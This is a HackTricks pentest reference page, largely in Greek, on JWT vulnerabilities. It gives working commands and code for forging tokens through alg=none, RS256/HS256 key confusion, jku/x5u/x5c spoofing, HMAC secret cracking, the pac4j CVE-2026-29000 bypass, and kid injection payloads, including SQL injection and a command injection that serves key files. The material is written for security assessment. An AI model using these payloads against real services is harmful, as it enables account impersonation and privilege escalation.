JWT Vulnerabilities (Json Web Tokens)
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Μέρος αυτής της δημοσίευσης βασίζεται στην φοβερή ανάρτηση: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Δημιουργός του εξαιρετικού tool για pentest JWTs https://github.com/ticarpi/jwt_tool
Quick Wins
Τρέξε το jwt_tool με mode All Tests! και περίμενε τις πράσινες γραμμές
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Αν είστε τυχεροί, το εργαλείο θα βρει κάποια περίπτωση όπου η web application ελέγχει λανθασμένα το JWT:
.png)
Στη συνέχεια, μπορείτε να αναζητήσετε το request στο proxy σας ή να κάνετε dump το χρησιμοποιούμενο JWT για αυτό το request χρησιμοποιώντας το jwt_ tool:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Μπορείς επίσης να χρησιμοποιήσεις το Burp Extension SignSaboteur για να εκκινήσεις JWT attacks από το Burp.
Practical JWT assessment workflow
- Scope the session control: Διάλεξε ένα user-specific request (π.χ. profile, billing). Αφαίρεσε cookies/headers ένα κάθε φορά μέχρι το request να απορριφθεί, ώστε να απομονώσεις ποιο token(s) πραγματικά ελέγχει το authorization.
- Locate JWTs in traffic: Συχνά βρίσκονται στο
Authorization: Bearer <JWT>, αλλά εμφανίζονται επίσης σε custom headers ή cookies. Αν το Burp δεν τα επισημαίνει, χρησιμοποίησε Target → Site map → Engagement tools → Search με regex patterns όπως: [= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]*eyJ[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+?\.[a-zA-Z0-9_-]+[= ]eyJ[A-Za-z0-9_\\/+-]*\.[A-Za-z0-9._\\/+-]*- Decode and enumerate: Χρησιμοποίησε το Burp JWT Editor ή
python3 jwt_tool.py <JWT>για να διαβάσεις header/payload. Σημείωσεalg,exp/token lifetime, και τα authn/authz-driving claims (role,id,username,email, etc.). - Signature enforcement sanity check: Άλλαξε ή διέγραψε λίγα bytes στο signature portion και κάνε replay. Αν γίνει αποδεκτό, σημαίνει ότι λείπει η signature validation και μπορείς να τροποποιήσεις απευθείας τα payload claims.
- Goal: Τροποποίησε payload claims για να ανεβάσεις privileges; κάθε attack παρακάτω στοχεύει να κάνει τον server να δεχτεί ένα tampered payload εκμεταλλευόμενος weak verification, weak secrets, ή unsafe key selection.
Tamper data without modifying anything
Μπορείς απλώς να πειράξεις τα data αφήνοντας το signature ως έχει και να ελέγξεις αν ο server ελέγχει το signature. Δοκίμασε, για παράδειγμα, να αλλάξεις το username σου σε “admin”.
Is the token checked?
Για να ελέγξεις αν γίνεται verification της signature ενός JWT:
- Ένα error message υποδηλώνει ότι το verification είναι σε εξέλιξη· ευαίσθητες λεπτομέρειες σε verbose errors πρέπει να εξεταστούν.
- Μια αλλαγή στη σελίδα που επιστρέφεται επίσης υποδηλώνει verification.
- Καμία αλλαγή υποδηλώνει no verification· τότε είναι η στιγμή να δοκιμάσεις tampering payload claims.
Origin
Είναι σημαντικό να προσδιορίσεις αν το token δημιουργήθηκε server-side ή client-side εξετάζοντας το request history του proxy.
- Tokens που εμφανίζονται πρώτα από την πλευρά του client υποδηλώνουν ότι το key ίσως είναι exposed σε client-side code, κάτι που απαιτεί περαιτέρω διερεύνηση.
- Tokens που προέρχονται server-side υποδηλώνουν μια ασφαλή διαδικασία.
Duration
Έλεγξε αν το token διαρκεί περισσότερο από 24h… ίσως να μην λήγει ποτέ. Αν υπάρχει ένα “exp” filed, έλεγξε αν ο server το χειρίζεται σωστά.
Brute-force HMAC secret
Αν το header χρησιμοποιεί HS256, αποθήκευσε το token σε ένα αρχείο και δοκίμασε offline cracking:
python3 jwt_tool.py <JWT> -C -d wordlist.txt
hashcat -a 0 -m 16500 jwt.txt /path/to/wordlist.txt -r /usr/share/hashcat/rules/best64.rule
Μόλις ανακτηθεί το secret, φόρτωσέ το ως συμμετρικό key στο Burp JWT Editor και ξαναυπόγραψε τα τροποποιημένα claims.
Derive JWT secrets from leaked config + DB data
Αν ένα arbitrary file read (ή backup leak) εκθέτει τόσο application encryption material όσο και user records, μπορείς μερικές φορές να αναδημιουργήσεις το JWT signing secret και να forge session cookies χωρίς να γνωρίζεις κανένα plaintext password. Παράδειγμα μοτίβου που παρατηρείται σε workflow automation stacks:
- Leak the app key (π.χ.
encryptionKey) από ένα config file. - Leak τον user table για να αποκτήσεις
email,password_hashκαιuser_id. - Derive το signing secret από το key, και μετά derive το per-user hash που αναμένεται στο JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- Τοποθέτησε το signed token στο session cookie (π.χ.
n8n-auth) για να impersonate τον χρήστη/admin account ακόμα κι αν το password hash είναι salted.
Τροποποίηση του algorithm σε None
Όρισε το algorithm που χρησιμοποιείται ως “None” και αφαίρεσε το signature μέρος.
Χρησιμοποίησε το Burp extension call “JSON Web Token” για να δοκιμάσεις αυτήν την ευπάθεια και να αλλάξεις διαφορετικές τιμές μέσα στο JWT (στείλε το request στο Repeater και στο “JSON Web Token” tab μπορείς να τροποποιήσεις τις τιμές του token. Μπορείς επίσης να επιλέξεις να βάλεις την τιμή του πεδίου “Alg” σε “None”).
JWE-wrapped PlainJWT / public-key auth bypass (pac4j-jwt CVE-2026-29000)
Κάποια stacks περιμένουν ένα signed inner JWT wrapped μέσα σε ένα encrypted JWE. Σε vulnerable pac4j-jwt versions (πριν από 4.5.9, 5.7.9, και 6.3.3), ο authenticator decrypts το JWE, προσπαθεί να κάνει parse το payload ως signed JWT, και ελέγχει το signature μόνο αν αυτό το conversion επιτύχει. Αν το decrypted payload είναι ένα PlainJWT (alg=none), το toSignedJWT() επιστρέφει null και το signature verification path παραλείπεται.
- Pre-reqs:
- Η application δέχεται JWE bearer tokens
- Το server public key είναι exposed (συνήθως μέσω JWKS όπως
/.well-known/jwks.jsonή/api/auth/jwks) - Το Authorization εξαρτάται από attacker-controlled claims όπως
sub,role,groups, ήscope - Impact: forge ένα encrypted token για οποιονδήποτε user/role χρησιμοποιώντας μόνο το public key
Πρακτικοί έλεγχοι:
- Enumerate το frontend / API docs για clues όπως
RSA-OAEP-256,A128GCM/A256GCM,jwks, ή comments που λένε “inner JWT is signed”. - Φέρε το JWKS και κάνε import το RSA key από
n/e. - Φτιάξε το inner token χειροκίνητα ως
base64url(header) + "." + base64url(payload) + "."ώστε το signature να είναι empty. - Encrypt αυτό το plaintext JWT ως JWE χρησιμοποιώντας το exposed public key και replay it ως το bearer token.
Minimal PlainJWT construction:
header = {"alg": "none"}
claims = {"sub": "admin", "role": "ROLE_ADMIN", "iss": "target"}
b64 = lambda b: base64.urlsafe_b64encode(b).decode().rstrip("=")
plain = (
f"{b64(json.dumps(header, separators=(',', ':')).encode())}."
f"{b64(json.dumps(claims, separators=(',', ':')).encode())}."
)
Κρυπτογραφήστε το σε ένα compact JWE με το RSA public key από το JWKS:
rsa_key = jwk.JWK(**jwks["keys"][0])
token = jwe.JWE(
plaintext=plain.encode(),
protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
recipient=rsa_key,
)
forged = token.serialize(compact=True)
Σημειώσεις:
- Αν η JWT library σου αρνείται να εκπέμψει
alg=none, δημιούργησε το compact token χειροκίνητα όπως φαίνεται παραπάνω. - Η τιμή
encπρέπει να ταιριάζει με μία από τις αποδεκτές από τον στόχο· τα frontend comments και τα νόμιμα tokens συχνά το αποκαλύπτουν αυτό. - Σε SPAs, έλεγξε αν το bearer token αποθηκεύεται σε
sessionStorage,localStorageή σε ένα JS-accessible cookie· το να ρίξεις εκεί το forged token συχνά αρκεί για να επιβεβαιώσεις γρήγορα το bypass.
Αλλαγή του αλγορίθμου RS256(asymmetric) σε HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
Ο αλγόριθμος HS256 χρησιμοποιεί το secret key για να υπογράφει και να επαληθεύει κάθε μήνυμα.
Ο αλγόριθμος RS256 χρησιμοποιεί το private key για να υπογράφει το μήνυμα και χρησιμοποιεί το public key για authentication.
Αν αλλάξεις τον αλγόριθμο από RS256 σε HS256, ο back end κώδικας χρησιμοποιεί το public key ως secret key και μετά χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.
Έπειτα, χρησιμοποιώντας το public key και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείς να ανακτήσεις το certificate του web server εκτελώντας αυτό:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Χρησιμοποιήστε το Burp JWT Editor, κάντε import το RSA public key (από /.well-known/jwks.json ή ένα PEM) και τρέξτε Attack → HMAC Key Confusion Attack για να αυτοματοποιήσετε την προσπάθεια re-sign με HS256.
Νέο public key μέσα στο header
Ένας attacker ενσωματώνει ένα νέο key στο header του token και ο server χρησιμοποιεί αυτό το νέο key για να επαληθεύσει το signature (CVE-2018-0114).
Αυτό μπορεί να γίνει με το Burp extension “JSON Web Tokens”.
(Στείλτε το request στο Repeater, μέσα στο JSON Web Token tab επιλέξτε “CVE-2018-0114” και στείλτε το request).
JWKS Spoofing
Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT tokens, ιδιαίτερα εκείνων που χρησιμοποιούν ένα “jku” header claim. Αυτό το claim θα πρέπει να δείχνει σε ένα JWKS (JSON Web Key Set) file που περιέχει το public key που είναι απαραίτητο για την επαλήθευση του token.
-
Αξιολόγηση Tokens με “jku” Header:
-
Επαληθεύστε το URL του “jku” claim για να βεβαιωθείτε ότι οδηγεί στο κατάλληλο JWKS file.
-
Τροποποιήστε την τιμή “jku” του token ώστε να κατευθύνεται προς ένα ελεγχόμενο web service, επιτρέποντας την παρακολούθηση της κίνησης.
-
Παρακολούθηση για HTTP Interaction:
-
Η παρατήρηση HTTP requests προς το καθορισμένο URL σας δείχνει τις προσπάθειες του server να ανακτήσει keys από το παρεχόμενο link σας.
-
Όταν χρησιμοποιείτε το
jwt_toolγια αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε τοjwtconf.inifile με τη δική σας JWKS location για να διευκολυνθεί το testing. -
Command για
jwt_tool: -
Εκτελέστε την παρακάτω εντολή για να προσομοιώσετε το σενάριο με το
jwt_tool:
python3 jwt_tool.py JWT_HERE -X s
Επισκόπηση Kid Issues
Ένα προαιρετικό header claim γνωστό ως kid χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου key, κάτι που γίνεται ιδιαίτερα σημαντικό σε περιβάλλοντα όπου υπάρχουν πολλά keys για την επαλήθευση του token signature. Αυτό το claim βοηθά στην επιλογή του κατάλληλου key για την επαλήθευση του token signature.
Αποκάλυψη Key μέσω “kid”
Όταν το kid claim υπάρχει στο header, συνιστάται να αναζητήσετε στο web directory το αντίστοιχο file ή τις παραλλαγές του. Για παράδειγμα, αν έχει οριστεί "kid":"key/12345", θα πρέπει να αναζητηθούν τα files /key/12345 και /key/12345.pem στο web root.
Path Traversal με “kid”
Το kid claim μπορεί επίσης να αξιοποιηθεί για πλοήγηση μέσα στο file system, επιτρέποντας δυνητικά την επιλογή οποιουδήποτε αρχείου. Είναι εφικτό να δοκιμάσετε για connectivity ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) αλλάζοντας την τιμή kid ώστε να στοχεύει συγκεκριμένα files ή services. Η αλλοίωση του JWT για να αλλάξετε την τιμή kid ενώ διατηρείται το αρχικό signature μπορεί να επιτευχθεί χρησιμοποιώντας το -T flag στο jwt_tool, όπως φαίνεται παρακάτω:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, it’s possible to forge a valid JWT. Για παράδειγμα, το αρχείο /proc/sys/kernel/randomize_va_space σε Linux systems, το οποίο είναι γνωστό ότι περιέχει την τιμή 2, μπορεί να χρησιμοποιηθεί στο kid parameter με το 2 ως το symmetric password για JWT generation.
A practical pattern for brittle file-system key loading is to generate an HS256 key with JWK k set to AA==, set kid to a traversal like ../../../../../../../dev/null, and re-sign—some implementations treat the empty file as a valid HMAC secret and will accept forged tokens.
SQL Injection via “kid”
If the kid claim’s content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:
non-existent-index' UNION SELECT 'ATTACKER';-- -
This alteration forces the use of a known secret key, ATTACKER, for JWT signing.
OS Injection through “kid”
A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it’s possible to expose private keys. An example payload for achieving RCE and key exposure is:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
Αν το token χρησιμοποιεί ένα “jku” Header claim τότε check out the provided URL. Αυτό θα πρέπει να δείχνει σε ένα URL που περιέχει το JWKS file το οποίο κρατά το Public Key για την επαλήθευση του token. Tamper το token ώστε να δείχνει η τιμή jku σε μια web service που μπορείς να παρακολουθείς την traffic.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Τότε μπορείτε να χρησιμοποιήσετε, για παράδειγμα, το jwt.io για να δημιουργήσετε το νέο JWT με τα δημιουργημένα public και private keys και δείχνοντας την παράμετρο jku στο certificate που δημιουργήθηκε. Για να δημιουργήσετε ένα έγκυρο jku certificate μπορείτε να κατεβάσετε το αρχικό και να αλλάξετε τις απαραίτητες παραμέτρους.
Μπορείτε να πάρετε τις παραμέτρους “e” και “n” από ένα public certificate χρησιμοποιώντας:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
Αν ο verifier fetches το key material remotely, embed ένα Burp Collaborator URL στο jku/x5u χρησιμοποιώντας JWT Editor → Attack → Embed Collaborator payload. Οποιοδήποτε callback επιβεβαιώνει SSRF-style key retrieval· μετά hostάρισε το δικό σου JWKS/PEM σε αυτό το URL και re-sign με το private key σου ώστε το service να validates attacker-minted tokens.
x5u
X.509 URL. Ένα URI που δείχνει σε ένα σύνολο από X.509 (ένα certificate format standard) public certificates encoded in PEM form. Το πρώτο certificate στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για να sign αυτό το JWT. Τα επόμενα certificates το καθένα sign το προηγούμενο, ολοκληρώνοντας έτσι το certificate chain. Το X.509 ορίζεται στο RFC 52807 . Το transport security απαιτείται για τη μεταφορά των certificates.
Προσπάθησε να αλλάξεις αυτό το header σε ένα URL υπό τον έλεγχό σου και έλεγξε αν λαμβάνεται κάποιο request. Σε αυτή την περίπτωση θα μπορούσες να tamper το JWT.
Για να forge ένα νέο token χρησιμοποιώντας ένα certificate υπό τον έλεγχό σου, πρέπει να δημιουργήσεις το certificate και να extract τα public και private keys:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Στη συνέχεια, μπορείς να χρησιμοποιήσεις για παράδειγμα jwt.io για να δημιουργήσεις το νέο JWT με τα δημιουργημένα public και private keys και δείχνοντας την παράμετρο x5u στο certificate .crt που δημιουργήθηκε.
.png)
Μπορείς επίσης να εκμεταλλευτείς και τα δύο αυτά vulns για SSRFs.
x5c
Αυτή η παράμετρος μπορεί να περιέχει το certificate σε base64:
.png)
Αν ο attacker δημιουργήσει ένα self-signed certificate και δημιουργήσει ένα forged token χρησιμοποιώντας το αντίστοιχο private key και αντικαταστήσει την τιμή της παραμέτρου “x5c” με το newly generatedcertificate και τροποποιήσει τις άλλες παραμέτρους, συγκεκριμένα n, e και x5t τότε ουσιαστικά το forgedtoken θα γινόταν αποδεκτό από τον server.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Ενσωματωμένο Δημόσιο Κλειδί (CVE-2018-0114)
Αν το JWT έχει ενσωματώσει ένα δημόσιο κλειδί όπως στο ακόλουθο σενάριο:
.png)
Χρησιμοποιώντας το ακόλουθο nodejs script είναι δυνατό να δημιουργηθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Είναι δυνατό να δημιουργήσεις ένα νέο private/public key, να ενσωματώσεις το νέο public key μέσα στο token και να το χρησιμοποιήσεις για να δημιουργήσεις μια νέα signature:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Μπορείτε να αποκτήσετε τα “n” και “e” χρησιμοποιώντας αυτό το nodejs script:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Τέλος, χρησιμοποιώντας το public και private key και τις νέες τιμές “n” και “e” μπορείς να χρησιμοποιήσεις το jwt.io για να forge ένα νέο valid JWT με οποιαδήποτε πληροφορία.
ES256: Revealing the private key with same nonce
Αν κάποιες εφαρμογές χρησιμοποιούν ES256 και χρησιμοποιούν το ίδιο nonce για να generate δύο jwts, το private key μπορεί να restored.
Ακολουθεί ένα example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
Το claim JTI (JWT ID) παρέχει ένα unique identifier για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να prevent το token from being replayed.
Ωστόσο, φαντάσου μια κατάσταση όπου το maximun length του ID είναι 4 (0001-9999). Το request 0001 και το 10001 θα χρησιμοποιήσουν το ίδιο ID. Άρα, αν το backend incrementig το ID σε κάθε request, θα μπορούσες να abuse αυτό για να replay a request (χρειάζεται να στέλνεις 10000 request ανάμεσα σε κάθε successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
Έχει παρατηρηθεί ότι ορισμένες web applications βασίζονται σε ένα trusted JWT service για τη generate και management των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, generated για έναν client από το JWT service, έγινε accepted από έναν άλλο client του ίδιου JWT service. Αν παρατηρηθεί η issuance ή renewal ενός JWT μέσω ενός third-party service, θα πρέπει να εξεταστεί η πιθανότητα sign up για έναν account σε άλλον client της ίδιας υπηρεσίας χρησιμοποιώντας το ίδιο username/email. Στη συνέχεια θα πρέπει να γίνει προσπάθεια replay του obtained token σε ένα request προς το target για να φανεί αν γίνεται accepted.
- Ένα critical issue μπορεί να υποδεικνύεται από την acceptance του token σου, επιτρέποντας potentially το spoofing του account οποιουδήποτε user. Ωστόσο, πρέπει να σημειωθεί ότι ίσως απαιτείται permission για ευρύτερο testing αν κάνεις sign up σε third-party application, καθώς αυτό μπορεί να μπει σε νομική grey area.
Expiry Check of Tokens
Η expiry του token ελέγχεται χρησιμοποιώντας το “exp” Payload claim. Δεδομένου ότι τα JWTs συχνά employ χωρίς session information, απαιτείται προσεκτικός χειρισμός. Σε πολλές περιπτώσεις, capturing και replaying του JWT ενός άλλου user μπορεί να επιτρέψει impersonation αυτού του user. Το JWT RFC recommends να mitigate JWT replay attacks χρησιμοποιώντας το “exp” claim για να οριστεί ένα expiry time για το token. Επιπλέον, είναι κρίσιμο η εφαρμογή να implement τους σχετικούς ελέγχους ώστε να ensure την processing αυτής της τιμής και την rejection των expired tokens. Αν το token περιλαμβάνει ένα “exp” claim και τα testing time limits το επιτρέπουν, συνιστάται να αποθηκεύσεις το token και να το replay μετά το πέρας του expiry time. Το περιεχόμενο του token, συμπεριλαμβανομένων του timestamp parsing και του expiry checking (timestamp σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας το -R flag του jwt_tool.
- Ένας security risk μπορεί να υπάρχει αν η εφαρμογή εξακολουθεί να validates το token, καθώς αυτό μπορεί να σημαίνει ότι το token δεν θα μπορούσε ποτέ να expire.
Tools
- jwt_tool – decoding, claim/header tampering, offline secret cracking (
-C) και semi-automated attack modes (-M at). - Burp JWT Editor – decode/re-sign στο Repeater, generate custom keys, και run built-in attacks (none, HMAC key confusion, embedded JWK, jku/x5u collaborator payloads).
- hashcat
-m 16500– GPU-accelerated HS256 secret cracking αφού export JWTs σε wordlist.
References
- n8n token forge chain – config+DB leak to JWT signing secret
- Burp Suite – JWT Editor extension
- jwt_tool attack methodology
- Keys to JWT Assessments – TrustedSec
- 0xdf - HTB: Principal
- CodeAnt AI - Inside CVE-2026-29000: The pac4j JWT Authentication Bypass Explained
Tip
Μάθε & εξασκήσου στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθε & εξασκήσου στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθε & εξασκήσου στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Περιηγήσου στον πλήρη κατάλογο HackTricks Training για τα assessment tracks (ARTA/GRTA/AzRTA) και στο Linux Hacking Expert (LHE).
Υποστήριξε το HackTricks
- Δες τα subscription plans!
- Γίνε μέλος της 💬 Discord group, της telegram group, ακολούθησε το @hacktricks_live στο X/Twitter, ή δες τη LinkedIn page και το YouTube channel.
- Μοιράσου hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


